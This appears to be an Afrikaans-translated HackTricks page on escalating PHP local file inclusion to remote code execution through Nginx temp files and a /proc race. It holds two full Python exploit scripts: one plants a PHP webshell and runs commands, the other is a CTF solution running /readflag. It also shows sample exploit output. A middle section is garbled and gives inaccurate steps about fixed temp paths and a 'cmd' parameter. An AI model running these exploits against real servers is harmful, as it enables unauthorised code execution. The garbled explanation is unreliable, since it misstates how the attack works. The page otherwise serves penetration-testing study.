14 KiB
LFI2RCE via Nginx tydelike lêers
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Kwesbare konfigurasie
Voorbeeld van https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
- PHP-kode:
<?php include_once($_GET['file']);
- FPM / PHP konfigurasie:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
- Opstelling / versterking:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
Gelukkig word PHP tans dikwels geïmplementeer via PHP-FPM en Nginx. Nginx bied 'n maklik-oor die hoof gesien kliëntliggaambuffering funksie wat tydelike lêers sal skryf as die kliëntliggaam (nie beperk tot pos nie) groter is as 'n sekere drempelwaarde.
Hierdie funksie maak dit moontlik om LFIs uit te buit sonder enige ander manier om lêers te skep, as Nginx as dieselfde gebruiker as PHP uitgevoer word (baie algemeen gedoen as www-data).
Relevante Nginx-kode:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
Dit is sigbaar dat tempfile onmiddellik uitgekoppel word nadat dit deur Nginx geopen is. Gelukkig kan procfs gebruik word om steeds 'n verwysing na die uitgekoppelde lêer te verkry deur middel van 'n race:
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
Nota: 'n Mens kan nie direk /proc/34/fd/15
in hierdie voorbeeld insluit nie, aangesien PHP se include
-funksie die pad na /var/lib/nginx/body/0000001368 (verwyder)
sal oplos, wat nie in die lêersisteem bestaan nie. Hierdie klein beperking kan gelukkig omseil word deur 'n bietjie omleiding soos /proc/self/fd/34/../../../34/fd/15
te gebruik, wat uiteindelik die inhoud van die verwyderde lêer /var/lib/nginx/body/0000001368
sal uitvoer.
Volledige Uitbuiting
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
LFI to RCE via Nginx Temp Files
Hierdie tegniek maak gebruik van 'n fout in die Nginx-webbediener se temp-lêersisteem om 'n lêerinsluitingskwesbaarheid (LFI) aan te val en uiteindelik 'n uitvoering vanaf afstand (RCE) te verkry.
Inleiding
Lêerinsluiting is 'n kwesbaarheid wat voorkom wanneer 'n webtoepassing gebruikersinsette direk in 'n lêernaam of -pad insluit sonder behoorlike validasie. Dit kan lei tot die insluiting van lêers vanaf die bediener se lêersisteem, insluitend gevoelige konfigurasie- of databestande.
Nginx is 'n gewilde webbediener wat dikwels gebruik word as 'n omleier of vervaardiger vir statiese lêers. Dit maak gebruik van 'n temp-lêersisteem om tussentydse lêers te stoor tydens die verwerking van aanvrae. Hierdie temp-lêers kan gebruik word om 'n LFI-aanval uit te voer en uiteindelik RCE te verkry.
LFI na RCE via Nginx Temp-lêers
-
Identifiseer 'n webtoepassing wat gebruik maak van Nginx as webbediener.
-
Identifiseer 'n LFI-kwesbaarheid in die toepassing deur insette te probeer insluit in lêernaam- of padverwysings.
-
As die LFI slaag, probeer om toegang te verkry tot die Nginx temp-lêersisteem deur die volgende URL te gebruik:
http://example.com/index.php?page=/var/lib/nginx/tmp/client_body/0000000012
Hierdie URL verwys na 'n spesifieke temp-lêer wat deur Nginx gegenereer is tydens die verwerking van 'n aanvraag.
-
As die URL suksesvol is, sal jy 'n lêerinhoud sien wat die aanvanklike aanvraag se data bevat.
-
Om RCE te verkry, kan jy probeer om 'n uitvoerbare lêer in die temp-lêersisteem te plaas en dit uit te voer deur die volgende URL te gebruik:
http://example.com/index.php?page=/var/lib/nginx/tmp/client_body/0000000012&cmd=ls
Hierdie URL voeg die
cmd
-parameter by wat die uitvoerbare lêer aandui wat jy wil uitvoer. -
As die URL suksesvol is, sal die uitvoerbare lêer uitgevoer word en sal jy die resultate sien.
Voorkoming
Om hierdie aanval te voorkom, moet jy behoorlike validasie en sanitasie van gebruikersinsette implementeer. Moenie insette direk in lêernaam- of padverwysings insluit sonder om dit te verifieer nie. Verder moet jy ook die toegang tot die Nginx temp-lêersisteem beperk om ongemagtigde toegang te voorkom.
Gevolgtrekking
Die LFI-na-RCE-tegniek via Nginx temp-lêers is 'n gevorderde aanvalstegniek wat gebruik maak van 'n kwesbaarheid in die Nginx-webbediener se temp-lêersisteem. Deur behoorlike validasie en sanitasie van gebruikersinsette te implementeer en toegang tot die temp-lêersisteem te beperk, kan jy hierdie aanval voorkom.
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nog 'n Uitbuiting
Dit is vanaf https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
Laboratoriums
- https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz
- https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/
- https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.